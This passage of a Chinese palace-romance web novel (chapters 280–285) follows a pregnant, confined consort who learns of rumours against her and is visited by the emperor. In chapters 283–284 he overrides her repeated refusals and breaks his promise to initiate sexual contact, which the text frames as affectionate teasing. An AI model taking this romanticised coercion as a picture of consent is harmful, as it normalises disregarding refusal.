就像沈长安说的那样,她不喜欢被蒙在鼓里,她也没有那么经不起事。 说到底,还是沈长安更了解她。 沈长安却说,这几年和晚余朝夕相处的是他,他应该更了解晚余。 他忽然意识到,他好像从来没有认真的从晚余的角度去了解过她。 这时,小福子弯着腰出现在门口:“皇上,贞妃娘娘让侍卫传了一句话给您。” “什么话?”祁让靠在那里没动,语气漫不经心,眼睛却亮起来。 小福子说:“贞妃娘娘让问问皇上,皇上先前在撷芳殿说的话还算不算数了。” 祁让一怔,随即就想到,她问的是那句“坦诚相待”的承诺。 原来她还记得。 原来她到现在还在对这句话抱有期待。 可他却没能做到。 他不知道该如何回复她的问话,拧眉斟酌片刻后,只淡淡道:“你去瞧瞧朕让徐清盏给她送的甜瓜送去了没有。” 她看到甜瓜,应该就能明白他的意思了吧? 承乾宫里,晚余确认沈长安没事之后,便也不再胡思乱想,安安生生地睡了一觉,次日早起,发现天竟然晴了。 多日不见的红日破云而出,宫殿的琉璃瓦被雨水冲刷一新,在阳光下熠熠生辉,耀眼夺目。 晚余心情舒畅,用了早膳,又和大家一起做起了针线活,一群人说说笑笑的,日子又恢复了往日的安逸。 只是她不知道,如今的紫禁城,也就只剩下承乾宫是安逸的,承乾宫之外,已是血雨腥风,人心惶惶。 为着那些捕风捉影的谣言,东厂的诏狱朝夕之间就关满了人,甭管什么官位,什么身份,只要进去走一遭,没有一个人能囫囵个走出来。 哪怕和造谣无关,也要把这辈子干的坏事全都吐个干净。 消息传开,京中一时风声鹤唳,人人自危,干了坏事的不敢出门,没干坏事的也不敢出门,京城大街小巷空空荡荡,比大风刮过还要干净。 御史们对徐清盏的暴行很是不满,可祁让称病不上朝,让内阁和司礼监代为处理朝政,弹劾徐清盏的折子最后都进了司礼监。 满朝文武全都慌了神,当官的能有几个是真正的两袖清风,再这么查下去,大家谁也别想好。 可是怎么办呢? 皇上一生病,徐清盏就像野马脱了缰,谁都管不住了。 若单单是他自己撒野也就算了,好巧不巧的,沈长安也在这个时候回来了,和他一起玩了命的折腾,一副要把天捅个窟窿的架势。 大家见不到皇上,求告无门,最后竟有人把主意打到了晚余头上。 这天上午,小文子和另外两个小太监爬到梨树上摘梨子,紫苏她们撑着被单在底下接。 晚余正在廊下看得兴致勃勃,忽听墙外有人哭喊着叫她:“贞妃娘娘,贞妃娘娘,嫔妾有要事求见,求娘娘无论如何见嫔妾一面。” 﨔 第280章 她怕她会舍不得 “谁呀?” 晚余听到叫喊,吃了一惊,什么人这么大胆,明知她在禁足,还敢跑来大喊大叫。 小文子站在树上,探头往外看,看到两个侍卫正拖着一个妃嫔往远处拖。 那妃嫔哭着不肯走,口口声声喊着有要紧事求见贞妃娘娘。 “好像是以前和齐嫔关系挺好的那个李美人。”小文子眯着眼睛细看,突然哎呦一声。 ? “怎么了?”晚余的心跟着一紧。 小文子说:“侍卫拔刀了。” “快,叫他先别动手。”晚余急切道。 小文子忙向外大喊:“刀下留人!” 两名侍卫寻声望过来,见高高的梨树枝丫上站了一个人,也吃了一惊。 小文子接着又喊:“娘娘叫你们先别动手,娘娘有话问她。” 这时间,晚余已经叫紫苏扶着她去了大门口,用力拍了两下门板:“开门。” 守在门口的侍卫隔着门缝回道:“娘娘在禁足,不能出去。” 晚余说:“本宫不出去,把李美人带过来,本宫就在门槛里面问她几句话。” 侍卫仍在犹豫:“皇上有令,不许任何人接近,违令者斩。” “你怎么这么死脑筋?”晚余厉斥,“李美人再不济也是天子妃嫔,且与本宫是旧交,她若非走投无路,不会来此冒险,你只管把门打开,把人带过来,皇上若怪罪,自有本宫担责。” 门外默然一刻,到底还是把门打开了。 李美人被押过来,衣衫不整,发髻散乱,一张清丽的小脸满是泪水与惶恐。 看到晚余的那一刻,她跪地嚎啕大哭:“娘娘,嫔妾万般无奈才来扰您清静,求您看在昔日微薄情分,救救嫔妾的家人吧!” 晚余隔着门槛看她,心中不胜唏嘘。 当初为了助她出宫,还是淑妃的齐家姐姐假借给李美人办生辰宴,把祁让请到永寿宫灌醉,让他在李美人殿里睡了一宿。 她清楚记得,那天她的放行条被祁让扔进了炭火盆,她拼死从炭火中抢回来,手被烫伤,惹得祁让勃然大怒。 恰好那时,淑妃带着李美人出现,邀请祁让晚上参加李美人的生辰宴,及时给她解了围。 往事历历在目,却已物是人非。 她没走成,淑妃死了,李美人也不知搬去了哪里。 没想到如今再见,竟是这样的情形。 “你别哭,告诉我出了什么事?”晚余下意识想跨出门槛,被侍卫伸手拦下。 李美人磕头哽咽不止:“嫔妾的父兄被人诬陷造谣生事,下了东厂的诏狱,眼瞅着性命不保,可嫔妾父兄都是谨小慎微之人,给他们一百个胆子,也不敢编造谣言诋毁娘娘和皇嗣啊,求娘娘明鉴,饶了嫔妾父兄的性命吧!” 晚余心头一跳:“什么谣言,本宫怎么不知道?” 李美人抽泣道:“嫔妾也不知道具体情况,只知道外面有传言说黄河里挖出了什么妖妃祸国,灾星降世的石碑。 后来东厂就到处抓人,关进诏狱严刑拷打,弄得到处人心惶惶,许多人无辜受到牵连。 嫔妾的母亲也是走投无路了,才捎信儿叫嫔妾来求娘娘,说是再晚一步,嫔妾的父兄就要死在诏狱里了。” 晚余脑子嗡的一声,耳边响起尖锐的蝉鸣,伸手扶住门框来稳定身形,思维有片刻的停滞。 胡尽忠见她脸色不好,忙过来劝慰:“娘娘别听李美人瞎说,这都没影儿的事儿,您若为此动了胎气就不值了。” “你说实话,你觉得她在胡说吗?”晚余反问。 胡尽忠被问住,一时答不上来。 李美人哭道:“嫔妾没有胡说,这事都好些天了,东厂的诏狱不知死了多少人,后宫不少妃嫔的家人也被牵扯进去,只是娘娘这里消息闭塞,不知道罢了。” 消息闭塞? 晚余看着她,忽而想到祁让那晚的反常,便什么都明白了。 她的不安不是没来由的,只是她仅仅联想到了沈长安,确认沈长安无事后,就没再往别处想。 原来是有人造她的谣。 还造到黄河去了。 她突然想到一句话,跳进黄河洗不清。 她现在,是不是就是跳进黄河也洗不清了? 造她的谣也就算了,居然连皇嗣都捎带上了。 看来世上不怕死的人还是很多的。 她抚了抚隆起的腹部,心里五味杂陈。 她一直以来都对这孩子没什么感觉,可是眼下,听闻孩子被人说成灾星降世,为什么她会觉得生气,心疼,接受不了? 所以,她以为的没感觉,只是她的自以为是吗? 这个不声不响在她肚子里住了几个月的孩子,已经在不知不觉牵动了她的心吗? 她不禁感到惶恐。 她真的很怕这种说不清道不明的羁绊。 她怕她会舍不得。 她现在,好像已经舍不得了。 虽然现在只是舍不得孩子受伤害,可谁敢保证后面不会发展到舍不得离开呢? “娘娘,您要冷静啊娘娘。”胡尽忠担忧地唤她,吩咐侍卫把李美人拖下去砍了。 “别动她。” 晚余回过神,制止了侍卫,对李美人说,“我相信你不是故意来扰乱我心神的,但你父兄的情况我一点都不了解,我不能给你什么承诺,一切都等我问过徐掌印之后再做定夺。 在此之前,你不能再轻举妄动,也不要再到处乱跑,我一有消息就会让人通知你,你听明白了吗?” 李美人于绝望中看到了一线天光,又像是迷途之人终于找到了一个引路人,哭着跪在地上给她磕头,感谢她的大恩大德。 晚余不禁又想起从前,那时的她彷徨无措地跪在祁让的寝殿里,手里捏着那张差点被烧掉的放行条。 淑妃和李美人的出现,对于那时的她来说,也像是从绝望中看到了一线天光。 那种感觉,只有亲身经历过绝望的人才懂得。 李美人哭哭啼啼地被侍卫带了下去。 直到她的身影消失不见,晚余才恍惚想起,自己忘了问她现在住在哪个宫殿。 晚余定了定神,对侍卫吩咐道:“去和皇上说,本宫已然知情,叫他不必再费心隐瞒,另外再告诉皇上,本宫要见徐清盏。” 﨔 第281章 谁是更好的人? 侍卫领命而去,承乾宫的大门再度关起。 晚余被紫苏扶着走回院子,看到那条用来接梨子的被单还放在地上,上面七七八八散落了一堆梨子。 只是所有人都神色凝重,再也没有了方才的兴致。 小文子竟还骑在树杈上,挠着头问她:“娘娘,还摘吗?” “摘,你们继续摘。”晚余说,“这事和你们没关系,你们也管不了,该干什么干什么,不要为自己管不了的事烦心。” “是。”小文子应了一声,叫大家赶紧把被单扯起来。 “你注意安全,我进去歇会儿,记得挑几个大的留给徐掌印。”晚余又嘱咐了一句,便扶着紫苏的手回了内室。 紫苏扶她在床上坐下,温声道:“娘娘不要为那些流言蜚语伤神,皇上和掌印会处理好的。” “我不是为那个伤神,而是为这个。”晚余的手轻轻覆在肚子上,眼中闪过一丝茫然,“紫苏,怎么办?我好像越来越在意他了。” 紫苏跟了晚余这么久,从来没在她脸上看到这样的迷茫。 这种感觉,就像一个人站在大雾弥漫的荒野,面对着一个三岔路口,不知该往哪条路上走,连个问路的人都找不到。 紫苏感到深深的愧疚,因为她帮不了她,除了劝她走一步看一步,她不知道还能说什么。 女人对男人,和母亲对孩子的感情是不一样的。 娘娘可以不爱皇上,甚至可以恨皇上一辈子。 但孩子不一样,孩子从米粒大小的一点,在母亲的肚子里一天天长大,一天天发生着奇妙的变化,便是铁石心肠,也不可能无动于衷。 何况娘娘又不是真正的铁石心肠。 她对一个不甚相干的李美人尚且怜惜,更不要说与自己血脉相连的孩子。 她只是不肯承认,或者说不敢承认罢了。 可是怎么办呢? 她不喜欢皇上,也不喜欢紫禁城。 她注定是要走的。 到时候,就算她真的狠下心离开,那也必将是一场剜骨割肉般的离别。 自己这个旁观者,只要想到那情形都会揪心不已,何况娘娘自个? 紫苏叹口气,几乎要忍不住眼泪:“娘娘别想这么多了,走一步看一步吧,我们连明天是天晴还是下雨都不知道,何必想那么长远的事。” “可我不能不想。”晚余也跟着叹气,嘴上说着绝情的话,手却在腹部无意识地轻轻抚摸,“我实在不愿留在这里,也不想被一个孩子绊住脚,我若真的走不成,我自己都会瞧不起自己。” “娘娘快别这么说。”紫苏拿帕子擦了擦眼角,“人的心思是世上最难捉摸的东西,什么样的境地做什么样的决定,都是视情况而定的,哪怕过后会后悔,会觉得不值,但对于当时来说,就是最好的选择。” 晚余轻扯唇角,拍了拍她的手:“算了,不难为你了,我自己的心,只能由我自己来守,别人谁也帮不了我。” 紫苏点点头,半开玩笑半认真地逗她:“娘娘的心志已经是奴婢平生仅见,皇上那样天神般的人物都不能让您动摇,您还担心什么?” 晚余忍不住笑起来:“你觉得他好,许是因为你没遇见过更好的人。” 更好的人是谁? 沈小侯爷吗? 紫苏正要问出口,有个声音突然替她问了出来:“谁是更好的人?” 紫苏吓了一跳,一回头,就看到祁让不知何时站在门口。 “皇,皇上……”紫苏两腿一软就要下跪。 “出去。”祁让冷冷吐出两个字。 紫苏心惊胆战地看了晚余一眼。 晚余受到的惊吓不比她少,还是强自镇定地摆了摆手:“去吧!” 紫苏颤声应是,告退出去。 从祁让身边经过时,她都能感觉到祁让周身散发出来的杀气。 她后悔不已。 早知道就不逗娘娘说那些话了,被皇上听了去,不定要怎样磋磨娘娘呢! 这可如何是好? 晚余也不知道该如何是好,看着祁让高大的身影一步步向她逼近,紧张得忘了起身行礼。 祁让走到床前,居高临下地看着她,冷峻的眉眼凝着寒霜,胸前金线绣成的团龙张牙舞爪气势凛凛,令人窒息的压迫感扑面而来。 “谁是更好的人?”祁让又问了一遍,修长白皙的食指挑起她的下巴,冷沉凤眸望进她湖水般的眸底。 因为惊慌,那两汪湖水起了涟漪,怯怯地映出他明黄的身影。 “是沈长安吗?”祁让微微弯下腰,视线落在她微张的樱唇上,“沈长安怎么个好法,你告诉朕,朕向他学习。” 晚余心跳如擂鼓,睫毛颤颤如展翅欲飞的蝶,却怎么也飞不起来。 就像她落入祁让掌心,怎么也逃不掉一样。 “臣妾不过随口一说,皇上是世间最尊贵的男人,没有人能与您比肩。” “少跟朕打马虎眼,最尊贵和更好不是一码事。”祁让不上当,但也没生气,“三人行,必有我师,朕是诚心请教,你怕什么?” 怕什么? 晚余心说,我还能怕什么,自然是怕你发疯。 她已经领教过他的变脸术,哪怕他装得再冷静,她也不会傻到真把沈长安的优点告诉他。 那样的话,她和沈长安必定得死一个。 她望着他幽深沉静的眸子,憋了半天,憋出一句:“皇上怎么又瘦了?” “……”祁让愕然看着她,满腔的醋意都因着这一句化成了心酸和委屈。 她还知道他瘦了? 真不容易。 他嗤笑一声。 他日里夜里百转千回的想她,苦于找不到借口来看她。 今天终于叫他逮着个机会,听闻她被李美人骚扰,便急急赶了过来,谁知一进门就听到她说什么更好的人。 她是怕他发脾气,才用一句“皇上怎么又瘦了”来哄他吧? 由此可见,她是会哄人的,只是不肯用在他身上罢了。 而他又是这样的不值钱,就这么一句话,心就软了。 他恨这样敷衍了事的她,也恨这样不值钱的自己。 可是怎么办呢? 他咬了咬牙,双手抓住她的双肩,将她抓起来,蛮横地搂进怀里,下巴搁在她头顶。 为了不让她受流言纷扰,他在外面都快杀疯了,她却在这里逍遥自在,连头发都懒得梳,只顾着想别的更好的男人。 “你到底有没有心?” 他压着她的后背,将她的心贴在他心口,去感受她的心跳。 意外的,她的心居然跳得很快。 为什么跳这么快? 难道她也是想他的? 他的恨意消减了些,下巴在她头顶蹭了蹭,很想问她一句“你想不想朕”。 他想,只要她说一声想,今天这账就一笔勾销了,什么更好的男人他也不计较了。 可她万一说不想呢? 那他岂非很下不来台? 他最终还是没问出口,他怕问了之后,连这久违的拥抱都会被破坏掉。 只是这拥抱之间隔了一个圆鼓鼓的肚子,再不能像从前那样严丝合缝,再不能做那种想要把她揉进身体里的动作。 这时,孩子突然又在晚余肚子里动起来,一下一下,隔着晚余的肚子传递到祁让的腹部。 祁让整个人都僵住,一动不敢动,生怕把孩子吓到似的。 “他是不是知道朕来了?”他小声问道,像是在说悄悄话。 晚余心情复杂,从他怀中撤离,努力扭转话题:“皇上想多了,大约是这孩子听人说他是灾星,觉得委屈了吧!” 祁让眸光一暗,神情严肃起来:“朕没告诉你这件事,是不想让你听到那些不堪入耳的话,你不要生朕的气,好吗?” 﨔 第282章 没有不想,那就是想 晚余盯着祁让看了几息,不知道是不是错觉,他好像很忐忑的样子。 他有什么好忐忑的? 他是帝王,他说什么就是什么,想做什么就做什么,何须在她这样一个囚徒面前忐忑? 晚余抿了抿唇,郑重道:“臣妾没有生气,臣妾又不是是非不分的人,怎会不知皇上是为臣妾好,臣妾只是不喜欢被蒙在鼓里,这样只会让臣妾更加不安,皇上能明白臣妾的意思吗?” 这回答着实叫祁让意外,她前几天才叫人传话质问他言而无信,怎么今天就自己想开了呢? 她不生气是好事,他应该感到高兴,可她说她不喜欢被蒙在鼓里那句话,简直和沈长安说的一模一样。 他们明明没见过面,却能把一句话说得一字不差。 怎不叫他心情复杂? 但她同时又体谅了他的苦心,他纵然心里吃味,也不好说什么,反要感念她的大度。 罢了。 他是皇帝,不能太小气。 他已经得到了她,她肚子里还孕育着他的孩子,他还计较一句话做什么? 他笑了笑,扶她在床沿坐下:“这话是当真的吗,你怎么突然懂事起来了?” 晚余的唇角向下压了压:“皇上这话说的,臣妾什么时候不懂事了?” 祁让见她压着唇角的样子,感觉像是寻常女子在赌气撒娇,便心痒痒的想逗弄她:“那你给朕笑一个,你笑了,才证明你真的没生气。” 晚余瞥了他一眼:“臣妾和孩子都被人造谣造到黄河去了,怎么还笑得出来?” 祁让没能得逞,叹口气,扶她一同在床沿坐下,让她靠在自己肩上,一只手贴在她腹部轻拍。 “这件事不是你想象的那样简单,谣言表面看是针对你和孩子,实则是有人想借此引发朝堂动荡,浑水摸鱼。 不过你放心,朕不会任由那些人诋毁你和孩子,也不会任由他们动摇朕的朝堂。 这种情况下,死人,流血,恐慌在所难免,但这些都不是你操心的事,你只需要记住一点,东厂不是屠宰场,死在里面的,绝对不是无辜之人。” 说到这里,像是怕晚余不信,他又补充了一句:“你纵然不相信朕,也该相信徐清盏。” 晚余知道,历来朝堂之争,无所不用其极,造谣诋毁是寻常,流血牺牲更是寻常。 可祁让说让她相信徐清盏这句,她却不能苟同。 因为她比谁都清楚,徐清盏是会为了她不择手段的。 一直以来,徐清盏区分好人和坏人的标准很简单,对她好的,就是好人,对她不好的,就是坏人。 这样的标准下,她怎么能相信死在徐清盏手里的没有一个无辜之人? 她知道徐清盏是为她好,但也不希望徐清盏为了她造太多杀孽。 所以她想要见徐清盏,除了打听李美人父兄的事,也是想好好嘱咐他一番,叫他不要滥杀无辜。 谁知祁让没让徐清盏来,反倒自己跑了来。 他跑来干什么呢?晚余心想,他来了无非就是和她解释一下,让她不要担心,可这些话徐清盏就能代劳,徐清盏甚至会和她讲得更透彻。 不像祁让做惯了皇帝,说话总要说一半留一半,剩下一半全靠人家自己猜。 猜得不准嫌人家笨,猜得太准又嫌人家太会揣度圣意。 左右都是人家不好。 晚余靠在他肩上,抬起眼皮从下往上看他,看到他下巴上有泛青的胡茬,眼下也泛着些乌青。 他可能也没有他说的这样轻松吧,只是当皇帝的习惯性把脆弱和焦虑隐藏起来,表露在人前的,永远都是运筹帷幄,举重若轻的形象。 晚余斟酌道:“朝堂的事臣妾不懂,但臣妾觉得,李美人来找臣妾这事,肯定有人在背后谋划,他们可能被逼急了,又找不到门路,才让人把李美人的父兄拉下水。 等到李美人的父兄也被抓进诏狱之后,李美人的母亲走投无路,就只能来求李美人,而李美人也就只能来求臣妾了。” 她也不知道自己猜得对不对,就抬起头问祁让:“皇上觉得臣妾猜得靠不靠谱?” 祁让低头看她,漆黑的凤眸近距离凝视她:“靠不靠谱先不说,朕很好奇你和李美人私下里是什么关系? 她怎么会认为你一定会帮她,或者说,那些把主意打到她身上的人,怎么知道你一定会帮她,你们之间,有什么朕不知道的秘密?” “啊?” 晚余错愕地瞪大眼睛,没想到他的关注点跑这么偏。 这叫她怎么回答? 难道说是因为李美人为了帮助自己出宫,和大家一起给他作局吗? 晚余眨眨眼,一时之间竟然编不出什么合情合理的借口。 “行了,别绞尽脑汁了。”祁让幽幽道,“本来脑汁就不多,省着点用吧!” 晚余:“……” 什么人哪这是? 就他脑汁多,一天天的用不完。 “那李美人的父兄怎么办,他们到底有没有问题?” “这你就别管了。”祁让一脸无所谓的样子,“朕会让徐清盏看着办的。” 晚余说:“臣妾本来就是要问徐清盏的,皇上怎么不叫他来?” 祁让垮下脸,不悦的看她:“朕来不比他来好吗,还是说你不想朕来?” 晚余忙摇头:“没有不想。” “没有不想,那就是想了?”祁让开始和她抠字眼,非要抠出一点她想他的证据来。 晚余叹气:“臣妾想不想很重要吗,反正皇上来去自如,谁也奈你不得。” 祁让定定看她,觉得她是那样的凉薄。 他怎么可能是来去自如的呢? 他在她面前,从来都不是自如的。 他等了这么多天,才等来这么一个借口。 他有时觉得很可笑,他能将这万里河山盘弄于股掌之间,却盘弄不了一个女人。 可他偏又一根筋,就爱钻她这牛角尖。 这是个绝症,神仙来了也治不好。 他搂着她,脸颊去蹭她的鬓发:“你累不累,咱们躺着说话好不好?” 晚余忙又摇头:“臣妾不累,臣妾每天早睡晚起,一点都不累。” “……” 祁让焉能听不出她的抗拒,可他好容易来一回,少不得要弥补弥补这些天的煎熬,哪能事事都依着她? “你不累朕累,你得陪着朕。”他厚着脸皮,不由分说脱了她的鞋子,把她抱上了床。 﨔 第283章 诱他沉沦 晚余被迫陪睡,内心再不情愿,拖着个大肚子也无法逃脱,只得认命地枕着他的手臂,躺在他怀里。 他身上有淡淡的龙涎香气,手臂上的肌肉还是那样紧实,倒不如枕头来得柔软舒适。 可他偏爱让她枕他的手臂,好像不给她枕着,那只手臂就无处安放似的。 晚余觉得这样干躺着实在尴尬,就继续方才的话题:“按照皇上的说法,臣妾被造谣的事,是不是就和后宫妃嫔没什么关系了?” 祁让随手勾起她一缕头发绕在指间,漫不经心道:“后宫妃嫔没这么大的胆子,就算有,也做不了这么大的局。 想要神不知鬼不觉地往黄河里埋一块石碑,不是件容易的事,事后要做到不留一点痕迹,更不容易。” “哦。”晚余点点头,“如果没有后宫妃嫔的事,是不是也就不存在她们的父兄为了扳倒臣妾,在背后使坏的可能了?” “那当然。”祁让唇角轻勾,“他们为了你撞撞柱子已是极限,敢用这种动摇国本的招数替女儿争宠,是嫌自己命太长,还是嫌家族太繁盛?” 晚余松了口气:“只要和后宫妃嫔没关系,臣妾就放心了,但臣妾想不明白,皇上的兄弟都不在了,太后也被幽禁了,晋王明显没造反的心思,还有谁会搞这么大的动作呢?” 祁让起初没在意,这会子终于从她曲里拐弯的问话里听出了一丢丢小心机。 祁让不禁有点好笑,屈指在她脑门弹了一下:“你跟朕说话需要这么费劲吗?” 晚余哎呦一声,捂着脑门往旁边躲。 “别乱动。”祁让将她揽回来,囚在怀里,“你也别乱猜了,你想知道,朕告诉你就是了。 高祖建国之时,册封了一些功臣为世袭罔替的异姓藩王,他们的子子孙孙都要靠朝廷养活。 经过这几代的发展,朝廷早已不堪重负,并且他们当中还有人拥兵自重,结交官员,严重危及到了朝廷政权,朕从去年开始,就有了削藩的打算。 朕要削他们的藩,他们自然不会坐以待毙,因此便生出这许多事端,想逼朕放弃削藩,甚至还想动摇朕的江山。” 晚余心下一惊,这个原因确实是她没想到的,因为那些事离她实在太遥远。 藩王作乱非同小可,往下也不是她该过问的了。 祁让见她没了言语,以为她被吓到,揉了揉她的脑袋,温声安抚她:“别怕,有朕在呢,朕的皇位不是继承来的,是朕真刀真枪抢来的,朕不会像先帝一样任他们拿捏,也不会任由他们兴风作浪。” “好,有皇上在,臣妾自然是不怕的。”晚余应了一声,心情却说不出的复杂。 她一心想要逃离他,有些时候又不得不仰仗他。 她现在的困境都是拜他所赐,可是能在这困境之中庇护她的,偏偏还只有他。 这样的矛盾,这样的牵扯不清。 “别想了,说点高兴的吧!”祁让说,“马上就中秋节了,到时宫里会有大宴,朕解了你的禁,你也去赴宴好不好?” 晚余愣了下,随即摇头:“算了,臣妾不喜欢那种场合,倒不如在自个宫里来得自在。” 祁让想问她,如果沈长安也去,她要不要去? 话到嘴边又改了口:“也好,那种场合确实不安全,你就在这里和胡尽忠他们一起过吧,到时候朕让人给你们准备一桌好酒席。” “那就多谢皇上了。”晚余向他道谢。 祁让嗯了一声,不知想到什么,思绪有些飘忽,一只手放在她肚子上,无意识的轻揉慢抚,还时不时拍一下。 晚余不知怎的就想起从前在街上看到人家买西瓜时的情形,不禁轻笑出声。 祁让手一顿,偏头看她:“你是不是笑了?” “没有。”晚余矢口否认。 祁让却不信:“朕明明听见了,你为什么不承认?” “臣妾没笑,怎么承认?” “好,不承认是吧?”祁让正经着脸,手却滑到她腰侧去挠她的痒痒肉。 “哎呀,不要……”晚余惊呼躲避,却又忍不住咯咯笑出声来。 祁让得了趣,哪肯就此罢休,手指灵巧地追着她,挠得她娇笑连连,气喘吁吁。 “别,皇上快别闹了,外面有人听着呢……”晚余痒得受不了,一边笑一边抓着他的手不让他动。 奈何她力气本就小,又笑得身子发软,根本不是他的对手。 祁让说:“那你求朕,你求朕,朕就饶了你。” 晚余只得求他:“皇上饶了臣妾吧,求求你了……” 祁让也怕她动了胎气,并不敢肆意胡闹,于是便停了手,让她躺着慢慢平复。 因着方才的挣扎,她出了些汗,黑缎子般的长发散乱在身侧,有一些粘在脸上和脖子上。 祁让屈肘半撑起身子,帮她把那些发丝拨开,看到她凝脂白玉般的脸颊染了些胭脂色,玲珑的鼻尖也渗出细密的汗珠,如同清晨的玫瑰和露珠,那样的鲜活,那样的生动。 她的眼睛还是弯着的,眼底笑意尚未完全消散,如同春风拂过湖面留下的涟漪,红润润的小嘴微张着,比从前更加饱满的胸脯,随着呼吸上下起伏,仿佛诱人攀登的山峦。 祁让不禁心猿意马,身体里的渴望就像蛰伏在黑夜里的兽,在闻到血气的瞬间倾巢而出。 “晚余……”他低头吻住了她的唇,这一刻,满心满眼,所思所想,都只剩怀中这一个人。 她是这样的鲜活灵动,这样的娇俏妩媚,如同开在他贫瘠生命中的一朵花,如同他暗夜独行时的一束光,诱着他飞蛾扑火般地前往,为她粉身碎骨也在所不惜。 晚余不防他突然来袭,在他怀里挣扎起来,还没平复的呼吸又变得急促。 “不,不要……”她在他唇齿之间呜咽,双手去推他,推到他血脉偾张的肌肉,硬的像石头。 祁让却觉得她的唇又香又软,像花香弥漫的春夜,诱他沉沦。 他旷得久了,亲吻都像是在复仇,那么凶狠的架势,仿佛要吸干她的精气,吞噬她的灵魂。 晚余被他弄得没有招架之力,头脑昏昏,手脚无力,只剩一点仅存的理智,呜呜咽咽地提醒他别碰到她的肚子。 祁让又渴望,又怕压到她的肚子,弓着腰背留出余地,紧绷的腰身,如同一把蓄势待发的弓。 他把她翻过去,从背后搂住她,一只手去撩她的衣裙。 “不行……”晚余抓住他的手,“太医不让……” 祁让于急切中发出几声低沉的笑,振动的胸膛贴着她的背,带着她一起振动。 “你现在只能用太医来抵制朕了吗?”他笑着揶揄她,“如果太医让呢?” 晚余脑子懵懵的:“太医没说。” “那朕现在就叫太医来,让他当面和你说。”祁让作势向外喊,“来人……” “别!”晚余急切阻止。 她丢不起这人。 祁让已经在这当口撩起了她的衣裙。 “你别急,朕不来真的,就想和你挨得更近一些。” 这话实在无耻,晚余涨红了脸,推又推不开,想翻个身都费劲,只能从道德层面约束他:“你要说话算数。” 﨔 第284章 骗子 “嗯。”祁让含糊应着,果然只是挨着她,没有进行下一步的动作。 晚余感觉他确实没动,就慢慢放松下来。 祁让诱着她说话,手在她身前慢慢拨弄。 晚余有点难受,按住他的手不让他乱动。 祁让也不强求,又挪到别的地方。 只要她不让,他就换地方。 换来换去,到处都换遍了,到处都说不行。 祁让便作势要恼:“哪有这么多碰不得的地方,照这么下去,朕是不是只能抱着你的脚睡了。” 晚余想说,脚也是不行的,脚更痒。 她也不知道是怎么回事,她身上也没那么多痒痒肉,怎么祁让碰哪哪痒? 祁让说:“总共就这么大个地方,朕的手总要放在哪里吧,难不成要朕举着手睡?” 晚余无言以对,只好抓着他的手搭在自己腰上:“就搭在这吧,别乱动。” 祁让就握住她的腰…… “啊~” 晚余猝不及防地发出一声惊呼。 外面墙根下站着的胡尽忠顿时支棱起耳朵。 “娘……”他张嘴想问晚余怎么了,被孙良言一把捂住了嘴。 “别喊了,你娘在宫外头呢,听不见。” 屋里,祁让也捂住了晚余的嘴:“别喊,别叫人家听见了。” 晚余恨死了他,张口咬住了他的手。 祁让疼的嘶了一声,既不收回手,也不收回身子,被她紧紧咬着,酥麻痛痒的感觉直冲天灵盖。 但他到底顾念着肚子里的那个,并不敢信马由缰,浅浅一番缠斗,便放过了她。 即便如此,晚余也没了一丝力气,软着声息控诉他:“骗子!” 祁让正经为自己叫屈:“朕不是故意的,是路太滑。” 雨天曲径湿滑,一不留神就滑进了池塘。 晚余听不得这些,脸上热辣辣的发烫。 祁让举着被咬伤的手到她面前,恶人先告状:“朕不过在你这里滑了一跤,瞧你把朕咬的,你这样都够砍头了你知道吗?” “那你砍呀!”晚余气咻咻道。 祁让说:“朕念在你是孕妇,就从轻发落了,你该谢恩的。” “……”晚余在这种不要脸的事情上向来说不过他,闭上眼睛不再理他。 悉悉索索的一阵响动,祁让塞了一个帕子在她手里。 “大白天叫水怪不好意思的,你先将就着吧,等朕走了再洗。” 晚余忍着难堪,心说他居然还知道这是大白天,还知道不好意思。 他刹不住的时候,怎么没想到这些? 简直不是人。 祁让把她翻过来,仍旧让她枕着自己的手臂,低沉的嗓音带着诱哄:“咱们就这样不是挺好吗,何必像仇人似的老死不相往来? 人家说父母恩爱生下来的孩子才健康活泼,朕知道你心里没有朕,但你好歹做个样子给孩子看看,你能陪他的,不就这几个月了吗? 他出生之后感受不到的亲情,至少在他出生之前让他感受一下吧,否则他岂非太可怜了?” 晚余差点被他说出两眼泪花,偏过头缓了半晌,才闷闷道:“臣妾困了。” 祁让满心的失落,把她往怀里搂了搂:“那就睡吧,朕也困了。” 屋里安静下来。 晚余很快就睡了过去。 祁让没睡,只是搂着她闭目养了一会儿神,等她睡熟之后,就托着她的头轻轻抽出手,起身下床,穿上衣服走了出去。 前面还有一堆事情等着他处理,这片刻的欢愉,就算是忙里偷闲了。 出了门,见胡尽忠神情复杂地偷瞄他,他挺了挺腰身,清了清嗓子,一派正气凛然的样子吩咐道:“照顾好你家娘娘,将来少不了你的好处。” “奴才遵旨。”胡尽忠虾着腰应了一声,跟在后面送他离开。 祁让走到院子里,见梨树下的石桌上搁着一只竹篮,篮子里放着十几个又大又圆的梨子,随口问道:“这是干什么?” 胡尽忠说:“娘娘想着徐掌印要来,让人给他挑了几个梨子。” 祁让垮下脸,神情不悦:“怎么没想着给朕挑几个?” 胡尽忠忙道:“皇上莫怪,娘娘事先也不知道皇上要来。” 祁让回头吩咐孙良言:“带走。” “……是。”孙良言无奈应声,走过去把那篮子梨拎起来。 胡尽忠看着两个人走出去,院门一关,白眼立刻翻上天。 皇上欺负娘娘也就罢了,连梨子都不放过。 这样算不算连吃带拿? 祁让在院外上了肩辇,对孙良言说:“你把梨子给徐清盏送去,问问他李美人的父兄怎么回事。 贞妃难得在意哪个妃嫔,倘若没什么大事,就把人放了吧,也好叫贞妃对李美人有个交代。” 孙良言应是,拎着篮子要走。 “等一下。”祁让招手示意他把篮子递过来,从里面挑了一只最大个的出来,放在鼻端轻嗅,“去吧!” 孙良言对他这无处不在的胜负欲很是无语,提着篮子走了。 晚余一觉醒来,发现天色将晚,枕边空空荡荡,祁让不知何时已经离开。 整个屋子在昏昏沉沉的暮色里静默着,若非鼻端还能闻到龙涎香的味道,她都要以为自己只是做了一个梦。 她躺着出了一会儿神,心就像是漂浮在暮色中的一叶扁舟,飘飘荡荡,摇摇晃晃,不知该往何处停泊。 﨔 第285章 想和你同归于尽 第二天上午,李美人又来了,送了一盒子月饼来感谢晚余,说她父兄已经平安归家。 晚余没见她,也没有收她的月饼,隔着门和她说,她们之间算是两清了,叫她以后不要再来,免得惹祸上身。 李美人千恩万谢地走了。 那些想借着李美人让晚余规劝徐清盏的人,听了半天雷,一滴雨都没见着,不免大失所望,只得另想办法。 晚余心里却因着祁让先前的疑问,生出了另一个疑问。 